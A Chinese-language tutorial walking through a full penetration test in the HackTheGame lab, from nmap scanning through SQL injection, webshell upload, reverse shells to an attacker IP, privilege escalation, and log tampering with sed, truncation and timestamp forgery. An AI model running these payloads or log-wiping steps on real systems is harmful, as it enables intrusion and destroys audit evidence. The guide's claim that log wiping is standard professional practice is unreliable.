
1. 项目概述为什么选择HackTheGame作为渗透测试的“实战沙盘”如果你对网络安全感兴趣或者正想从理论转向实战那么“渗透测试”这个词你一定不陌生。但看再多教程学再多工具一到自己上手面对一个空白的命令行是不是总感觉无从下手不知道第一步该干什么也不知道每一步操作背后的逻辑是什么更别提做完之后怎么“打扫战场”了。这正是很多新手甚至一些有基础的朋友都会遇到的瓶颈——缺乏一个完整、连贯、有明确目标的实战演练环境。今天要聊的就是用HackTheGame这款游戏来完整复盘一次真实的渗透测试流程。这可不是普通的游戏它更像一个精心设计的“虚拟靶场”把渗透测试的七个核心阶段——从踩点侦察到清理痕迹——都封装在了一个个游戏关卡里。你可能会问游戏能有多真实我的经验是它的价值不在于模拟了多么复杂的企业网络而在于它强制你遵循一个正确的、结构化的思维流程。很多人在学习时工具用得很溜nmap、sqlmap、metasploit信手拈来但往往跳过了最关键的信息收集或者做完提权就结束了完全忘了清理痕迹。这种碎片化的技能在真实、有防守方的环境中是行不通的。HackTheGame 恰恰补上了这一课。它要求你像真正的渗透测试工程师一样思考先确定目标游戏中的关卡服务器然后系统地收集信息扫描端口、探测服务、查找公开文档接着分析弱点、发动攻击、维持访问最后必须记得清除你的活动日志否则游戏可能无法完美通关。这个过程和NISP国家信息安全水平考试等专业体系中定义的渗透测试流程如出一辙比如上面提到的“清理相关日志访问操作上传文件等”就是痕迹清理阶段的核心任务。所以无论你是零基础想找一本“能动手的入门书”还是已经玩过Vulnhub靶机像NullByte、DC7、刷过CTFShow的Web入门题想把自己的技能串成一条线这个项目都值得一试。它用一个低门槛、游戏化的方式让你无风险地体验一遍渗透测试的完整生命周期。接下来我就带你一步步拆解如何利用HackTheGame把教科书上的流程变成肌肉记忆。2. 渗透测试核心流程与HackTheGame的关卡映射在真正动手之前我们必须对要执行的流程有一个全局的、清晰的认识。一个专业的渗透测试绝不是拿着扫描器乱扫一气它是一套有严格阶段划分的方法论。这里我结合PTES渗透测试执行标准和国内常见的实践将其梳理为七个阶段并说明它们在HackTheGame中是如何体现的。2.1 七阶段流程详解前期交互与目标确定在商业测试中这一步要与客户确定测试范围、规则、时间窗口。在HackTheGame里这就是选择你要攻克的关卡。每个关卡就是一个独立的目标系统你需要明确它的IP地址或域名游戏内会给出这就是你的“授权攻击目标”。信息收集这是所有后续工作的基石占比往往超过60%的时间。目标是尽可能多地搜集关于目标的情报包括网络架构、开放端口、运行的服务、操作系统、Web应用框架、甚至员工的邮箱、姓名在游戏中可能体现为网页注释、源码中的用户名。信息收集分为被动不直接接触目标如搜索公开信息和主动直接向目标发送探测包如端口扫描。威胁建模与漏洞分析根据收集到的信息分析目标可能存在的脆弱点。例如发现开放了80端口运行着Apache 2.4.39就要立刻联想到这个版本是否存在已知的漏洞如CVE-2021-41773。在游戏中你需要把扫描到的服务版本与你的知识库或漏洞数据库如Exploit-DB进行关联找出可能的攻击路径。漏洞利用这是最“炫技”的阶段但也是最需要谨慎的。利用上一步分析出的漏洞尝试获取系统的初始访问权限。可能是通过一个SQL注入拿到数据库数据也可能是利用一个RCE远程代码执行漏洞拿到一个反向Shell。后渗透与权限提升拿到一个初始立足点往往是一个低权限用户后工作远未结束。目标是获取系统的最高权限如Linux的rootWindows的SYSTEM。这需要你在系统内部进行信息收集如查看sudo权限、计划任务、SUID文件等利用系统配置错误或内核漏洞进行提权。痕迹清理这是区分“黑客”与“渗透测试工程师”的关键一步也是HackTheGame非常强调的一点。测试完成后你需要清除或篡改系统日志如/var/log/auth.log,wtmp,lastlog、Web访问日志、应用日志等删除上传的工具擦除你的操作痕迹。在真实测试中这是为了不给客户系统留下后门和垃圾在游戏中这常常是完美通关的必要条件。报告编写将整个过程、发现的问题、利用的漏洞、获取的数据以及修复建议整理成一份专业的报告。虽然HackTheGame不要求这个但你自己练习时强烈建议养成这个习惯这能极大提升你的逻辑归纳和沟通能力。2.2 HackTheGame的关卡设计逻辑HackTheGame的关卡通常就是围绕这七个阶段设计的。早期关卡可能只聚焦于信息收集比如让你找到隐藏的端口或目录中期关卡会结合漏洞利用比如一个简单的命令注入后期的综合关卡则会要求你走完全流程扫描发现一个Web服务找到其上传漏洞上传Webshell获得反向Shell接着在系统内进行提权最后清理日志。游戏机制会引导你比如不进行全面的信息收集你可能永远找不到真正的入口点而不清理痕迹关卡评分会降低或无法触发通关条件。这种设计迫使你养成良好的操作习惯这正是自学时最容易忽略的。注意在真实环境中清理痕迹必须在获得明确授权的前提下进行。有些测试要求保留痕迹以供审计。游戏环境则提供了无负担的练习机会。3. 第一阶段实战深度信息收集的艺术信息收集是渗透测试的“眼睛”看得越细、越广后续的成功率就越高。很多人用nmap扫个端口就以为结束了这远远不够。下面我们以HackTheGame的一个假设关卡目标IP192.168.1.100为例展开深度信息收集的实战操作。3.1 被动信息收集不惊动目标的“侦察兵”在直接触碰目标前我们先从公开渠道找找线索。虽然HackTheGame是封闭环境但我们可以模拟这个思维。Whois查询虽然对游戏内IP可能无效但真实测试中whois target-domain.com可以获取注册人、邮箱、电话、DNS服务器等信息这些可能成为社会工程学攻击的素材。搜索引擎语法使用Google Hacking DatabaseGHDB中的语法。例如在游戏中如果目标有一个Web应用我们可以假设搜索site:192.168.1.100 intitle:index of来查找目录列表或者site:192.168.1.100 ext:pdf寻找可能泄露的PDF文档。这些文档里可能包含内部链接、邮箱甚至密码。3.2 主动信息收集与目标的首次“接触”这是核心环节我们将使用Kali Linux中的工具进行。1. 主机发现与端口扫描首先确认目标在线并进行全端口扫描。我习惯使用nmap的sV版本探测和sC默认脚本扫描参数这能提供丰富的信息。# 快速 ping 扫描确认主机存活 nmap -sn 192.168.1.100 # 全面扫描TCP全端口、服务版本、默认脚本 nmap -p- -sV -sC -oA initial_scan 192.168.1.100-p-扫描所有65535个TCP端口。-sV探测服务版本。-sC使用默认的NSE脚本进行更深入的探测可能会发现一些简单漏洞或获取更多横幅信息。-oA initial_scan将结果以三种格式normal, XML, grepable输出便于后续分析。扫描结果分析示例 假设扫描结果如下PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 80/tcp open http Apache httpd 2.4.41 3306/tcp open mysql MySQL 5.7.32从这个结果我们立刻可以开始规划22/SSHOpenSSH 7.9p1。需要搜索该版本是否有已知漏洞。同时可以尝试弱口令爆破在授权范围内但游戏中更可能通过其他途径获取SSH凭证。80/HTTPApache 2.4.41。这是我们的主攻方向。需要立即进行Web应用层面的信息收集。3306/MySQLMySQL数据库。如果Web存在注入这就是后端。也可能存在弱口令或未授权访问。2. Web应用深度侦察针对80端口我们进行下一步# 使用 dirb 或 gobuster 进行目录爆破寻找隐藏路径 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -o directories.txt # 使用 nikto 进行Web服务器漏洞扫描 nikto -h http://192.168.1.100 -o nikto_scan.txt # 手动浏览网站观察功能点用Burp Suite拦截所有请求目录爆破可能会发现/admin、/backup、/uploads、/phpinfo.php等关键路径。/phpinfo.php如果存在会泄露大量服务器配置信息绝对路径、扩展等价值极高。Nikto扫描能快速识别服务器配置错误、过期软件、默认文件等。例如它可能会提示“Apache/2.4.41 appears to be outdated”。手动测试这是最重要的。尝试所有输入框观察URL参数如?id1查看网页源代码寻找注释、JS文件中的API路径检查Robots.txt文件。3. 服务版本漏洞关联将nmap -sV得到的版本号在Exploit-DB (searchsploit)、NVD等漏洞库中搜索。searchsploit Apache 2.4.41 searchsploit OpenSSH 7.9如果没有公开的RCE漏洞则重点转向Web应用漏洞如OWASP Top 10提及的。实操心得信息收集阶段一定要做好记录我习惯用Obsidian或简单的Markdown文件为每个目标建立一个笔记把扫描结果、发现的目录、可能的漏洞点都贴进去。思维导图也是一个很好的工具可以帮助你梳理攻击面。不要相信你的记忆力好记性不如烂笔头。4. 第二阶段实战从漏洞利用到权限提升在充分的信息收集之后我们进入攻击阶段。我们假设通过目录爆破发现了http://192.168.1.100/admin/login.php并且通过测试发现其存在SQL注入。4.1 Web漏洞利用以SQL注入获取后台访问权漏洞确认在登录框的用户名处输入admin or 11密码随意。如果成功登录说明存在布尔型注入。信息获取使用sqlmap进行自动化利用获取数据库信息。sqlmap -u http://192.168.1.100/admin/login.php --datausernameadminpasswordtest --dbs假设获取到数据库名webapp接着获取表名、字段名最终拖取管理员凭证。登录后台使用获取到的明文或破解的哈希密码登录后台管理系统。4.2 获取初始Shell文件上传漏洞进入后台后寻找文件上传功能如“更换头像”、“上传文档”。这是获取Webshell的常见途径。绕过检查尝试上传一个简单的PHP Webshell文件如包含?php system($_GET[‘cmd’]);?的shell.php。如果被拦截尝试以下绕过手法修改扩展名shell.php5,shell.phtml,shell.phar。双扩展名shell.jpg.php可能被解析为PHP。修改Content-Type在Burp Suite中将上传包的Content-Type: application/php改为Content-Type: image/jpeg。利用解析漏洞如Apache的shell.php.jpg配置不当可能将其解析为PHP。上传成功假设我们上传了shell.php到/uploads/目录。访问http://192.168.1.100/uploads/shell.php?cmdid如果返回了当前用户信息如uid33(www-data)则说明成功执行了系统命令我们获得了www-data用户的权限。4.3 建立稳定连接反向Shell通过Webshell执行单条命令是不稳定的我们需要一个交互式的Shell。在攻击机Kali上监听nc -lvnp 4444在Webshell上发起连接访问以下URL将[KALI_IP]替换为你的Kali IPhttp://192.168.1.100/uploads/shell.php?cmdnc -e /bin/sh [KALI_IP] 4444如果目标系统没有nc可以使用其他Payload如Python、PHP、Bash等多种方式。这是基本功需要熟练掌握几种。获取交互式Shell成功连接后在Kali的nc监听端就会得到一个www-data用户的非交互式Shell。使用Python将其升级为完全交互式的TTYpython3 -c import pty; pty.spawn(/bin/bash) # 或者 script /dev/null -c bash按CtrlZ将当前进程挂起然后在Kali本地执行stty raw -echo; fg最后输入reset并回车。这样就能使用Tab补全、方向键了。4.4 权限提升从www-data到root现在我们在系统内部目标是root。这是后渗透的核心。系统内部信息收集whoami id # 当前用户 uname -a # 内核版本 cat /etc/os-release # 发行版信息 sudo -l # 查看当前用户可以以root身份运行哪些命令**重中之重** find / -perm -us -type f 2/dev/null # 查找SUID文件 crontab -l # 查看当前用户的计划任务 ls -la /etc/cron* # 查看系统计划任务目录利用sudo权限提权如果sudo -l显示我们可以以root身份运行某些命令而不需要密码例如/usr/bin/vim那么sudo vim -c !sh就可以直接获得一个root shell。类似的命令还有find,awk,more,less等。利用内核漏洞提权如果上述方法不行就需要利用内核漏洞。用uname -a得到内核版本在Kali上搜索对应的本地提权EXP。在攻击机上搜索searchsploit Linux Kernel 5.4。找到一个合适的EXP如CVE-2021-4034将其编译或下载通过简单的HTTP服务器传到靶机上。# Kali上启动HTTP服务 python3 -m http.server 8080 # 靶机上下载并执行 cd /tmp wget http://[KALI_IP]:8080/exploit.c gcc exploit.c -o exploit ./exploit如果编译失败可能需要静态编译后上传。成功后通常直接获得root权限。注意事项内核提权有风险可能造成系统崩溃。在真实测试中这是最后的手段且必须谨慎评估影响。在HackTheGame这样的游戏或靶场中则可以大胆尝试。5. 最终阶段专业渗透测试师的必修课——痕迹清理拿到root权限拿到flag是不是就结束了不一个专业的渗透测试师必须“悄悄地来悄悄地走”。HackTheGame的很多关卡会检查日志是否被修改以此作为评分标准。下面我们系统地进行痕迹清理。5.1 操作日志清理我们的操作主要记录在以下日志文件中命令历史# 清理当前用户的命令历史 history -c # 清除内存中的历史 rm ~/.bash_history # 删除历史文件 # 如果以其他用户如www-data操作过也要清理其历史 rm /home/www-data/.bash_history系统认证日志这是重点/var/log/auth.log或/var/log/secure记录所有认证相关事件SSH登录、sudo使用等。/var/log/lastlog记录所有用户最后一次登录信息。/var/log/wtmp和/var/log/btmp分别记录成功和失败的登录尝试使用last和lastb命令查看。 我们不能直接删除这些日志文件因为这会非常可疑。更隐蔽的做法是只删除与我们IP或用户名相关的条目。使用sed命令# 假设我们的IP是192.168.1.50用户是www-data sed -i /192.168.1.50/d /var/log/auth.log sed -i /www-data/d /var/log/auth.log注意/var/log/wtmp和/var/log/lastlog是二进制文件不能直接用文本编辑器修改。需要使用专门的工具如utmpdump有些系统没有或编写Python脚本解析修改。一个更粗暴但游戏常用的方法是直接清空或替换它们 /var/log/wtmp /var/log/lastlog # 或者用其他正常时间点的备份覆盖如果你有Web服务日志Apache:/var/log/apache2/access.log,/var/log/apache2/error.logNginx:/var/log/nginx/access.log,/var/log/nginx/error.log同样使用sed删除包含我们IP地址的行sed -i /192.168.1.50/d /var/log/apache2/access.log sed -i /192.168.1.50/d /var/log/apache2/error.log5.2 文件痕迹清理删除上传的工具和Webshellrm -f /var/www/html/uploads/shell.php rm -f /tmp/exploit /tmp/exploit.c检查临时目录清理/tmp、/dev/shm等目录下可能遗留的文件。恢复文件修改时间如果我们修改了某些系统文件如/etc/passwd添加后门用户需要用touch命令将其时间戳恢复成原样避免被基于时间的监控发现。这需要你事先记录文件的原始时间。touch -t 202310101000.00 /etc/passwd # 将时间改回一个过去的正常时间5.3 网络连接与进程清理如果我们留下了后门进程或网络连接也需要清理。使用netstat -antp或ss -antp查看异常连接结束相关进程。使用ps aux | grep -E (nc|bash|perl|python)查找我们留下的shell进程用kill -9 [PID]结束它们。实操心得痕迹清理是个细致活很容易遗漏。我的习惯是在测试一开始就用一个脚本记录下所有我执行过的命令和修改过的文件。在清理阶段对照这个列表逐一处理。在HackTheGame中你可以通过反复通关来验证你的清理是否彻底。在真实环境中这步操作必须与客户充分沟通明确清理范围。6. 常见问题与排查技巧实录在实际操作HackTheGame或类似靶场时你肯定会遇到各种问题。这里我总结几个高频问题及其解决思路。6.1 扫描与信息收集阶段问题1nmap扫描速度太慢尤其是全端口扫描-p-。排查这是正常的65535个端口需要时间。可以调整扫描策略。解决先扫常见端口nmap -sV -sC target默认扫描1000个常见端口。使用更快的扫描技术nmap -sS -p- --min-rate 5000 target。-sS是SYN半开扫描比全连接扫描-sT快。--min-rate 5000指定每秒最少发送5000个包根据网络情况调整太激进可能被屏蔽。分端口段扫描nmap -p 1-10000 target然后再扫剩下的。问题2目录爆破gobuster/dirb跑不出结果或者结果太多。排查可能是字典不合适或者目标有防护如WAF、速率限制。解决更换字典/usr/share/wordlists/dirb/common.txt是基础可以尝试directory-list-2.3-medium.txt在/usr/share/wordlists/dirbuster/下或raft-large-words.txt。添加扩展名对于PHP站点gobuster dir -u http://target -w wordlist.txt -x php,html,txt,json。设置延迟-t 1010个线程并配合--delay 100ms避免触发防护。6.2 漏洞利用与Shell获取阶段问题3sqlmap跑不出来注入点或者被WAF拦截。排查参数可能不是注入点或者存在复杂的过滤。解决手动测试确认先用和and 11/and 12手动测试确认存在注入再上sqlmap。使用tamper脚本绕过WAFsqlmap ... --tamperspace2comment,charencode。常用的tamper脚本有between,randomcase等。降低请求速度--delay 1每秒1个请求和--time-sec 5响应等待时间可以更隐蔽。问题4上传了Webshell但无法访问或执行。排查上传路径不对检查返回的上传成功信息。文件被重命名有些应用会重命名上传文件。权限不足www-data用户可能对上传目录没有执行权限。被Web服务器安全模块如mod_security或PHP配置如disable_functions拦截。解决用Burp Suite拦截上传响应确认文件最终存储的路径和名称。尝试上传一个纯文本文件测试路径。检查目录权限ls -la /var/www/html/uploads/。如果权限是-rw-r--r--说明没有执行权。可以尝试上传到/tmp目录通常有执行权限但需要知道Web可访问的绝对路径。尝试其他类型的Webshell如.php.jpg如果Apache有解析漏洞或者使用图片马配合文件包含漏洞。问题5反弹Shell连接不稳定容易断。排查网络问题或者Shell本身不是完全交互式的。解决使用稳定的反弹Shell命令优先使用mkfifo或Python生成的反弹Shell。# 攻击机监听 nc -lvnp 4444 # 靶机执行Bash bash -c bash -i /dev/tcp/[KALI_IP]/4444 01 # 或使用Python更稳定 python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([KALI_IP],4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);务必升级为完全交互式TTY如前文所述使用python -c import pty; pty.spawn(/bin/bash)配合stty操作。使用screen或tmux在攻击机端运行监听避免因为关闭终端而断开。6.3 权限提升阶段问题6sudo -l提示需要密码但不知道密码。排查说明当前用户虽然有sudo权限但需要验证密码。这不是一条直接的提权路径。解决转向其他方法如检查SUID文件find / -perm -us -type f 2/dev/null查找像find,vim,bash,more,less等具有SUID位的程序研究其利用方法如GTFOBins项目提供了大量方法。检查计划任务crontab -l和ls -la /etc/cron*看是否有任何任务以root身份运行并且其脚本或路径我们可写。检查环境变量env查看是否有PATH、LD_PRELOAD等存在缺陷的环境变量。内核提权这是最后的途径。问题7内核EXP编译失败或执行没反应。排查可能是EXP与当前内核版本或系统架构32/64位不匹配或者缺少依赖库。解决确认架构uname -mx86_64是64位i686是32位。静态编译在攻击机Kali上使用musl-gcc或gcc -static进行静态编译这样编译出的二进制文件不依赖目标系统的动态链接库兼容性更好。# 在Kali上 gcc exploit.c -o exploit -static寻找替代EXP同一个CVE可能有多个不同作者编写的EXP尝试另一个。检查EXP代码有时需要根据目标系统微调代码比如路径或函数名。6.4 痕迹清理阶段问题8清理了日志但游戏/靶场仍然提示痕迹未清除。排查可能有遗漏的日志文件或者游戏检查的是日志的完整性如文件inode或时间戳异常。解决查找所有日志文件find / -name *.log -type f 2/dev/null特别是/var/log/下的子目录。检查系统日志服务如journalctlSystemd的日志。清理命令历史可能被记录在这里。可以尝试清空journalctl --vacuum-time1s但这很可疑或者只删除特定条目更复杂。时间戳用stat命令检查你修改过的日志文件的访问/修改时间确保它们看起来合理。可以用touch命令伪造。完整性检查有些靶场会计算日志文件的哈希值。在这种情况下单纯的删除或修改行会被发现。更高级的做法是找到记录你IP的那条日志的精确字节偏移然后用dd命令或十六进制编辑器直接覆盖磁盘上的那部分数据但这非常复杂。在HackTheGame中通常按行删除就足够了。整个流程走下来你会发现渗透测试就像一场精心策划的“外科手术”每一步都依赖上一步的成果也需要为下一步铺路。HackTheGame的价值就是把这个复杂的流程游戏化、阶段化让你能在不断试错中形成肌肉记忆。当你再面对Vulnhub的NullByte、DC7或者真实世界的测试项目时这套从信息收集到痕迹清理的完整思维框架就是你最有力的武器。记住工具是死的流程和思维才是活的。多练多总结把每一次通关都当成一份完整的渗透测试报告来对待你的成长速度会超乎想象。